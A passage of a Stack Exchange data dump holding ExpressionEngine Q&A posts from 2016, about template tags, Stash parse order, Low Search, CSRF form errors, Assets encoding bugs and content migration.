  <row Id="35766" PostTypeId="2" ParentId="35761" CreationDate="2016-03-03T09:21:02.997" Score="0" Body="&lt;p&gt;Store uses channel entries to store it's data, so theoretically you could return them to a URL with the entries ID in it like &lt;code&gt;http://sitename/thanks/999&lt;/code&gt; and make an index template inside a folder group title 'thanks.group&gt;index.html' and make it a &lt;a href=&quot;https://docs.expressionengine.com/latest/channel/channel_form/&quot; rel=&quot;nofollow&quot;&gt;channel form&lt;/a&gt; that picks up {segment_3} as the entryID. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hide the rest of the fields and show just the comments field, hitting save will save the entry with the extra detail. You'd likely want to do some serious checking/validation to make sure it's the same user/session as you don't want just anyone typing in random numbers stuffing other people's orders, but defiantly worth a look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've done similar with Freeform and I think post-purchase updates.&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2016-03-03T09:21:02.997" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35767" PostTypeId="2" ParentId="35764" CreationDate="2016-03-03T09:43:45.860" Score="0" Body="&lt;p&gt;&lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories/documentation&quot; rel=&quot;nofollow&quot;&gt;GW Categories&lt;/a&gt; is free, but for EE1 and EE2 only - do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode:categories entry_id=“295&quot; style=“linear” backspace=“1&quot;}&#xA;{cat_id}:{cat_name},&#xA;{/exp:gwcode:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to work in EE3 (or plan to) you could use &lt;a href=&quot;https://buzzingpixel.com/software/category-construct/documentation/template-tags&quot; rel=&quot;nofollow&quot;&gt;Category Construct&lt;/a&gt; as a direct replacement - though currently the ‘backspace’ feature in Category Construct is broken.&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-03T09:43:45.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35769" PostTypeId="2" ParentId="35764" CreationDate="2016-03-03T14:37:43.697" Score="1" Body="&lt;p&gt;I solved my problem by using php. First i go through all of the categorys and count them. after that i check it with another variable where i count the current Category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[&#xA;{exp:channel:entries channel=&quot;ch_efn_magazin&quot; entry_id=&quot;304&quot;}&#xA;    {&#xA;     &quot;ID&quot;: &quot;{entry_id}&quot;,&#xA;     &quot;Category&quot;: [{&#xA;        &amp;lt;?php $maxCat = 0; $currentCat = 0; ?&amp;gt;&#xA;        {categories}&#xA;           &amp;lt;?php $maxCat++; ?&amp;gt;&#xA;        {/categories}&#xA;&#xA;        {categories}&#xA;          &quot;{category_id}&quot;:&quot;{category_name}&quot;&amp;lt;?php $currentCat++; if($maxCat != $currentCat) echo(','); ?&amp;gt;&#xA;        {/categories}&#xA;        }]&#xA; }&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The whole reason I am doing this, is to create a JSON file. I know that there is this &lt;a href=&quot;https://github.com/rsanchez/json&quot; rel=&quot;nofollow&quot;&gt;Json Plugin by Rob Sanchez&lt;/a&gt; but with this plugin I wans't able to loop through my Channel_Images. That's why I decided to do it like this.&lt;/p&gt;&#xA;" OwnerUserId="7165" LastActivityDate="2016-03-03T14:37:43.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35771" PostTypeId="1" AcceptedAnswerId="35772" CreationDate="2016-03-03T23:57:51.850" Score="0" ViewCount="112" Body="&lt;p&gt;Is there any way to get the &lt;strong&gt;absolute results&lt;/strong&gt; on a Low Search results page outside of the {exp:low_search:results} tag pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:absolute_results query=&quot;&quot; collection=&quot;&quot; limit=&quot;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I can do this without the tag pair extra coding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#venues&quot;&amp;gt;&#xA;    Show all {exp:low_search:absolute_results query=&quot;{segment_2}&quot; collection=&quot;venues&quot;} Venues found&#xA;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the tag pair once or twice on a page is fine but it starts to get unwieldy after a while because I am grouping the collections on Bootstrap tabs and other UI foolery.&lt;/p&gt;&#xA;" OwnerUserId="1134" LastEditorUserId="1134" LastEditDate="2016-03-04T01:24:50.407" LastActivityDate="2016-03-04T09:41:56.083" Title="Get Absolute Results outside of Low Search Results tag pair" Tags="|low-search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35772" PostTypeId="2" ParentId="35771" CreationDate="2016-03-04T07:26:25.633" Score="1" Body="&lt;p&gt;This is not possible at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Low Search filters entries, it will pass on its search results (the the form of entry IDs) to the native channel:entries tag. This, in turn, will filter down the entries even further depending on things like status, future/expired entries and other native parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE currently does not offer an API for firing those filters and returning just a results number -- this is only available when calling the channel:entries tag with the absolute_results var.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2016-03-04T07:26:25.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35773" PostTypeId="1" CreationDate="2016-03-04T09:36:47.810" Score="1" ViewCount="521" Body="&lt;p&gt;My service provider have upgrading from PHP 5.4 to PHP 5.6.&#xA;I'm currently running EE 2.3.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After the upgrade, I get a &quot;ERR_CONTENT_DECODING_FAILED&quot; on frontend.&#xA;In the backend, I can log in, but none of the menuitems work and I get some mysql errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can see, the mysql_escape_string() is used, but is deprecated in PHP 5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The errors in backend:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/r769zkuf8qnphvz/Screenshot%202016-03-04%2010.29.35.png?dl=0&quot; rel=&quot;nofollow&quot;&gt;https://www.dropbox.com/s/r769zkuf8qnphvz/Screenshot%202016-03-04%2010.29.35.png?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First of all, can I upgrade to another version or am I stuck in this version? If so, which possibilities are there, to get the site up and running again?&lt;/p&gt;&#xA;" OwnerUserId="7168" LastActivityDate="2017-06-21T11:39:20.700" Title="ExpressionEngine 2.3.1 and PHP 5.6 support" Tags="|upgrade|database-error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35774" PostTypeId="2" ParentId="35771" CreationDate="2016-03-04T09:41:56.083" Score="0" Body="&lt;p&gt;Depending on what else you are doing on the page, you could of course simply save the results of the tag-pair(s) when you first run them and then get those back later in the page.  There are several ways to do this, including &lt;a href=&quot;https://github.com/croxton/Stash/wiki&quot; rel=&quot;nofollow&quot;&gt;stash&lt;/a&gt; and &lt;a href=&quot;http://docs.causingeffect.com/expressionengine/ce-variables/user-guide/variables.html&quot; rel=&quot;nofollow&quot;&gt;CE Variables&lt;/a&gt; (both of which are free).&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-03-04T09:41:56.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35777" PostTypeId="1" AcceptedAnswerId="35780" CreationDate="2016-03-04T11:34:45.970" Score="0" ViewCount="172" Body="&lt;p&gt;I am using an {exp:freeform:form} tag for contact requests and am getting this error when submitting the form in Google Chrome only:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;This form has expired. Please refresh and try again.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this is EE's CSRF protection error, I tried disabling CSRF protection in my config file and submitting the form. This works, but I dont' want to leave it off permanently.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$env_config['disable_csrf_protection'] = &quot;y&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The odd thing is, why would this only happen in Chrome and not Firefox, Safari, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could it be a Cookie issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is using:&#xA;EE 2.9.2&#xA;Freeform 4.2.0&lt;/p&gt;&#xA;" OwnerUserId="336" LastActivityDate="2016-03-04T15:53:23.957" Title="Freeform Form expired error in Google Chrome only" Tags="|solspace-freeform|solspace|csrf|chrome|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35778" PostTypeId="2" ParentId="35566" CreationDate="2016-03-04T11:49:25.130" Score="3" Body="&lt;p&gt;I recently encountered the same issue, and it was a tough nut to crack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the error message, I assumed I was dealing with a missing file – presumably something uploaded via Assets. I first attempted to re-index Assets. That didn't help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I did a &lt;code&gt;grep&lt;/code&gt; search for &quot;This file cannot be found&quot; on the /assets folder:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ grep -r &quot;This file cannot be found&quot; *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;grep&lt;/code&gt; operation revealed that the error message was mapped to an error code called &lt;code&gt;file_not_found&lt;/code&gt; in /assets/language/english/assets.lang.php. I did another &lt;code&gt;grep&lt;/code&gt; for &lt;code&gt;file_not_found&lt;/code&gt; on the /assets folder to figure out where Assets threw the exception, but there wasn't actually any exceptions thrown for that key in Assets, that I could find.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I did find found two matches for &lt;code&gt;file_not_found&lt;/code&gt; in the file /expressionengine/libraries/Mime_type.php (lines 119 and 146, ExpressionEngine 2.10.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, the issue was indeed a missing file, causing the method &lt;code&gt;ofFile()&lt;/code&gt; in Mime_Type.php to throw the (not very helpful!) exception. In order to figure out which file was actually missing, I temporarily changed line 119 from&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show_error(sprintf(lang('file_not_found'), $path));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;show_error($e-&amp;gt;getMessage());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which output the original exception in the frontend, complete with the full filepath to the missing file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddly enough, the file in question did actually exist – however, it had a special character in the filename (a Norwegian &quot;å&quot;), which I assumed had something to do with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went into Assets in the CP, found the file in question, and renamed file (replacing the special character &quot;å&quot; with a regular &quot;a&quot;. The error message still complained about the file missing, so I went back into Assets and renamed the file again to its original name (with an &quot;å&quot;). Then the error disappeared.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not really sure about the root cause of the issue, but it had to have been an encoding issue of some sort, since EE wasn't able to read the file until I renamed it (to the same name!) via Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully your issue is the same as mine, and you'll be able to figure out which file EE chokes on (either because it's actually missing or just unreadable to due to some obscure encoding issue with special characters).&lt;/p&gt;&#xA;" OwnerUserId="6118" LastActivityDate="2016-03-04T11:49:25.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35779" PostTypeId="1" AcceptedAnswerId="35783" CreationDate="2016-03-04T14:32:10.003" Score="0" ViewCount="78" Body="&lt;p&gt;Stash 2.6.7&#xA;EE 2.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been stumped on this one for over 8 hours and feel like I'm overlooking something so simple.  I've reviewed the Low parse order guide but still can't get it to work.  I've tried different routes with using get_list, setting exp:stash:set to snippet type, etc.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- LIMIT &amp;amp; GRAB ONLY FIRST CATEGORY NAME OF ENTRY (Entry can have multiple categories) --}&#xA;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; limit=&quot;6&quot; disable=&quot;member_data|pagination&quot;}&#xA;    {exp:stash:set name=&quot;entry_{entry_id}_category&quot; trim=&quot;yes&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;            {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; depth=&quot;1&quot; limit=&quot;1&quot; style=&quot;linear&quot;}&#xA;                {cat_url_title}&#xA;            {/exp:gwcode_categories}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!-- DROP IN STASH VARIABLE FOR FLEXIBLE TAG PAIR --}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; limit=&quot;6&quot; disable=&quot;member_data|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;            {{stash:entry_{entry_id}_category}_resource_images}&#xA;            &amp;lt;div class=&quot;thumb&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/{stash:entry_{entry_id}_category}_resource_images}&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&#xA;&#xA;--------&#xA;&#xA;&#xA;{!-- WORKS IF I SIMPLY DROP IN SEGMENT_2 (which is &quot;print&quot; category) --}&#xA;{exp:stash:parse process=&quot;end&quot;}&#xA;{exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; limit=&quot;6&quot; disable=&quot;member_data|pagination&quot; parse=&quot;inward&quot;}&#xA;&#xA;            {{segment_2}_resource_images}&#xA;            &amp;lt;div class=&quot;thumb&quot;&amp;gt;&#xA;                &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;{image:url:small}&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            {/{segment_2}_resource_images}&#xA;&#xA;{/exp:channel:entries}&#xA;{/exp:stash:parse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you see in the third block above, replacing the Stash variable with segment_2 which translates to &quot;print&quot; works and pulls in the image.  So it's definitely a parse order issue.  How can I get Stash to parse '{stash:entry_{entry_id}_category}' first before parsing the outer tag pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks! &lt;/p&gt;&#xA;" OwnerUserId="2692" LastEditorUserId="2692" LastEditDate="2016-03-04T19:22:38.863" LastActivityDate="2016-03-07T18:08:41.253" Title="Stash Channel Entries Loop -&gt; Replacing a part of Tag Pair field name?" Tags="|ee2|stash|parse-order|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35780" PostTypeId="2" ParentId="35777" CreationDate="2016-03-04T15:53:23.957" Score="1" Body="&lt;p&gt;ExpressionEngine 2.9.3 officially addressed and resolved some common issues with CSRF. I strongly suggest you upgrade to EE 2.9.3 or greater to resolve or rule out that issue. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;CSRF tokens stored in cookies refresh with page refresh.&quot; - &lt;a href=&quot;https://docs.expressionengine.com/v2/about/changelog.html#version-2-9-3&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine 2.9.3 Change Log&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2016-03-04T15:53:23.957" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="35781" PostTypeId="1" AcceptedAnswerId="35782" CreationDate="2016-03-04T16:42:54.997" Score="0" ViewCount="48" Body="&lt;p&gt;Yes, its an old version of EE. I take no responsibility for this. &#xA;Trying to create a new page, but every time we save a revision and go to Live Look (or go straight to the page on the live site), all of the text from the Body and/or Extended text fields are lumped into the right side-bar, and the &quot;body&quot; of the page just shows:&lt;br&gt;&#xA;&lt;strong&gt;{segment_3_category_name}&lt;/strong&gt;&lt;br&gt;&#xA;Coming Soon! Please check back later. &lt;br&gt;&#xA;Active plugins include Structure and Workflow. &#xA;First question here, I'm assuming I'm missing critical information, so please feel free to yell at me for missing something obvious. :D&lt;/p&gt;&#xA;" OwnerUserId="6516" LastActivityDate="2016-03-04T17:57:15.773" Title="Expression Engine 1.7.1 new page generating {segment_3_category_name} tag instead of content" Tags="|structure|ee1|workflow|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35782" PostTypeId="2" ParentId="35781" CreationDate="2016-03-04T17:57:15.773" Score="0" Body="&lt;p&gt;Interesting. Looks like it was an issue between the Page URL and the URL title not matching in the Structure tab. I originally had the URL set to &quot;newstudentoffer&quot; and the URL Title set to new_student_offer. That mismatch was throwing off the system. After I made the URL new_student_offer, everything showed up correctly and the {Segment_3_category_name} tag disappeared. &lt;/p&gt;&#xA;" OwnerUserId="6516" LastActivityDate="2016-03-04T17:57:15.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35783" PostTypeId="2" ParentId="35779" CreationDate="2016-03-04T19:33:39.250" Score="2" Body="&lt;p&gt;Stash parses any known &lt;code&gt;{stash:variable}&lt;/code&gt; style markers at the beginning of each pass of the tagdata it wraps (working from the top layers of tags inwards). However &lt;code&gt;{stash:entry_{entry_id}_category}&lt;/code&gt; does not resolve to a known stash variable until &lt;em&gt;after&lt;/em&gt; &lt;code&gt;{entry_id}&lt;/code&gt; has been parsed by the channel entries tag. By which point the channel entries tag has completed parsing and it's too late.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would instead use nested stash lists:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set a list of entries, the first assinged category and all possible images fields --}&#xA;{exp:stash:set_list name=&quot;entries&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;3&quot;}&#xA;    {exp:channel:entries channel=&quot;resources&quot; dynamic=&quot;no&quot; limit=&quot;6&quot; disable=&quot;member_data|pagination&quot;}&#xA;&#xA;        {!-- capture all the single value fields you need here --}&#xA;        {stash:entry_id}{entry_id}{/stash:entry_id}&#xA;        {stash:title}{title}{/stash:title}&#xA;&#xA;        {!-- capture the category for the entry --}&#xA;        {exp:gwcode_categories entry_id=&quot;{entry_id}&quot; depth=&quot;1&quot; limit=&quot;1&quot; style=&quot;linear&quot;}&#xA;            {stash:cat_url_title}{cat_url_title}{/stash:cat_url_title}&#xA;        {/exp:gwcode_categories}&#xA;&#xA;        {!-- capture images for every possible category here, assuming each is a custom field --}&#xA;        {exp:stash:set_list:nested name=&quot;category_print&quot; context=&quot;{entry_id}&quot;}&#xA;            {print_resource_images}&#xA;                {stash:url}{image:url:small}{/stash:url}&#xA;            {/print_resource_images}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;        {exp:stash:set_list:nested name=&quot;category_another&quot; context=&quot;{entry_id}&quot;}&#xA;            {another_resource_images}&#xA;                {stash:url}{image:url:small}{/stash:url}&#xA;            {/another_resource_images}&#xA;        {/exp:stash:set_list:nested}&#xA;&#xA;        {!-- ...etc... --}&#xA;&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;entries&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:stash:get_list:nested name=&quot;category_{cat_url_title}&quot; context=&quot;{entry_id}&quot; prefix=&quot;image&quot;}&#xA;    &amp;lt;div class=&quot;thumb&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;#&quot;&amp;gt;&amp;lt;img src=&quot;{image:url}&quot; alt=&quot;&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list:nested}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastEditorUserId="289" LastEditDate="2016-03-07T18:08:41.253" LastActivityDate="2016-03-07T18:08:41.253" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35784" PostTypeId="1" CreationDate="2016-03-04T19:42:46.850" Score="0" ViewCount="208" Body="&lt;p&gt;I have a production and local environment that I want to be able to transfer content between. I can't take a copy of the database as the production environment and local will be at different stages of the project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My ideal would be to export channel entry content (including grid and matrix) and then import that into the production site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know of a module, script etc... that does this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;James&lt;/p&gt;&#xA;" OwnerUserId="3171" LastActivityDate="2016-04-05T19:22:51.330" Title="Copy / export channel entry content" Tags="|channel-entries|export|migration|content|backup|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35785" PostTypeId="2" ParentId="35784" CreationDate="2016-03-05T08:49:18.167" Score="0" Body="&lt;p&gt;Syncing entries can fraught with danger and you need to stick to one direction ie. dev&gt;live or vice versa. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd look at grabbing a copy of &lt;a href=&quot;http://brandnewbox.co.uk/products/details/datagrab&quot; rel=&quot;nofollow&quot;&gt;DataGrab&lt;/a&gt; and installing that on the live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the dev server, you will have to create templates that renders each channels entries as XML or json objects. There can be some tweaking required dependant on your actual content/fieldtype but there's plenty of info around and the docs for DataGrab are a good start.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Visit/save the output of the XML/json templates on your dev server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the live server, place a copy of the dev servers object. Jump into DataGrab and configure where the file is &amp;amp; how you want the data to be treated. There's plenty of options and you may need to tweak your source format especially for grid fields or complicated fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember to test, test, test.&lt;/p&gt;&#xA;" OwnerUserId="166" LastEditorUserId="166" LastEditDate="2016-03-05T11:16:15.243" LastActivityDate="2016-03-05T11:16:15.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35786" PostTypeId="2" ParentId="35566" CreationDate="2016-03-05T12:35:10.987" Score="2" Body="&lt;p&gt;I communicated with the EllisLab-support meanwhile.&#xA;Indeed, as @Mats Mikkel Rummelhoff also assumed, the problem are special chars in files (in my case it was also with Assets, an image with an &quot;ä&quot; in the filename).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EllisLab told me it was a bug known in 2.9. and should be fixed with the latest EE-version. As Mats I was running 2.10.1, but the latest is 2.10.3. I upgraded but yet had no time to test extensively. Due to the EllisLab-support the problem should disappear with an upgrade to 2.10.3 (or to 3.x).&lt;/p&gt;&#xA;" OwnerUserId="780" LastActivityDate="2016-03-05T12:35:10.987" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35787" PostTypeId="1" CreationDate="2016-03-05T14:18:53.363" Score="0" ViewCount="56" Body="&lt;p&gt;Unable to save Assets entries in GridI'm using Assets 2.6 on EE 2.10.2 running with Publisher 1.6.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm able to define Assets fields within Grid fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting Asset Fields work insofar as they open Assets and allow the selection of items. However upon saving the selected items are not stored in the Grid field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other fields within the Grid work fine, and there are no apparent problems with the rest of the site. Assets entries stored in Matrix fields are fully accessible / work OK: but need to move to Grid as Matrix not being updated to EE3... :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Editing a Grid with Assets entries previously saved within (created by external importer) results in the entry being deleted (or not saved).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that has happened elsewhere? Any ideas what I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx&lt;/p&gt;&#xA;" OwnerUserId="6060" LastActivityDate="2016-05-20T20:55:48.847" Title="Help! Unable to save Assets entries in Grid" Tags="|assets|pixelandtonic|grid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35789" PostTypeId="1" AcceptedAnswerId="35790" CreationDate="2016-03-06T23:00:14.550" Score="0" ViewCount="24" Body="&lt;p&gt;I have inherited a site that makes use of a bespoke extension that has a long list of settings (&lt;a href=&quot;https://docs.expressionengine.com/latest/development/extensions.html#abstracted-settings-form-and-processing&quot; rel=&quot;nofollow&quot;&gt;https://docs.expressionengine.com/latest/development/extensions.html#abstracted-settings-form-and-processing&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is becoming an MSM one so i need to create site specific settings. Does EE handle this or do i need to build MSM support into the extension? Cant seem to find anything in the docs.&lt;/p&gt;&#xA;" OwnerUserId="257" LastActivityDate="2016-03-07T10:58:49.673" Title="MSM and bespoke extension" Tags="|plugin|extension|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35790" PostTypeId="2" ParentId="35789" CreationDate="2016-03-07T07:24:19.057" Score="1" Body="&lt;p&gt;Nope, the extension settings are for the entire control panel across all MSM sites by default (no site_id references). You will have to build in your own site_id references into the setting storage. You can store the settings as a multi-dimensional array, so use the numerical parent array as the site_id reference? You will probably have to use your own view file to display the settings page though and ensure the array structure is retained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Further thought, you won't need to use your own view file, as you can send only the required site settings to the default view (return of function), therefore using the default, just ensure you capture the save settings to place it into the appropriate multi-dimensional array element.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2016-03-07T10:58:49.673" LastActivityDate="2016-03-07T10:58:49.673" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="35791" PostTypeId="1" AcceptedAnswerId="35838" CreationDate="2016-03-07T07:45:49.620" Score="-1" ViewCount="64" Body="&lt;p&gt;I am trying to create a facebook app on my local machine which will allow users to login/register on the app by using their facebook login details. I have gone through 2 tutorials and i keep getting one of 2 errors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.404 Page Not Found when i go localhost/app/login&#xA;2. CodeIgniter: “Unable to load the requested class” whe localhost/app/index.php/login&lt;/p&gt;&#xA;&#xA;&lt;p&gt;has anyone gone through this issue before or am i missing something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thnaks&lt;/p&gt;&#xA;" OwnerUserId="7080" LastActivityDate="2016-03-11T07:26:32.087" Title="Facebook connect in codeigniter app" Tags="|facebook|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35793" PostTypeId="1" AcceptedAnswerId="35798" CreationDate="2016-03-07T10:37:11.220" Score="0" ViewCount="48" Body="&lt;p&gt;I'm using DevDemon Subscriptions 1.5.3 and EE 2.9.2.  I've installed the demo templates, set up some subscriptions and added the Stripe details.  When I try and make a payment using the Stripe test cards, it comes back saying Your card was declined.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else I need to do to put through some test payments?&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2016-03-08T02:18:22.353" Title="DevDemon Subscriptions - Your card was declined" Tags="|devdemon|subscriptions|devdemon-subscriptions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35795" PostTypeId="1" CreationDate="2016-03-07T17:25:49.723" Score="0" ViewCount="113" Body="&lt;p&gt;I feel like I'm taking crazy pills. Why would I be the only person with this error? Like 80 says:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$system_path = $system_path ?: __DIR__;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looks weird, doesn't it?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2018-01-10T14:34:04.950" Title="ee3 install - Parse error: syntax error, unexpected ':' in admin.php on line 80" Tags="|install|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35796" PostTypeId="2" ParentId="35795" CreationDate="2016-03-07T17:39:32.893" Score="0" Body="&lt;p&gt;Never mind. Requirements say PHP 5.3.10 or newer. Server is only 5.2.17.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2016-03-07T17:39:32.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
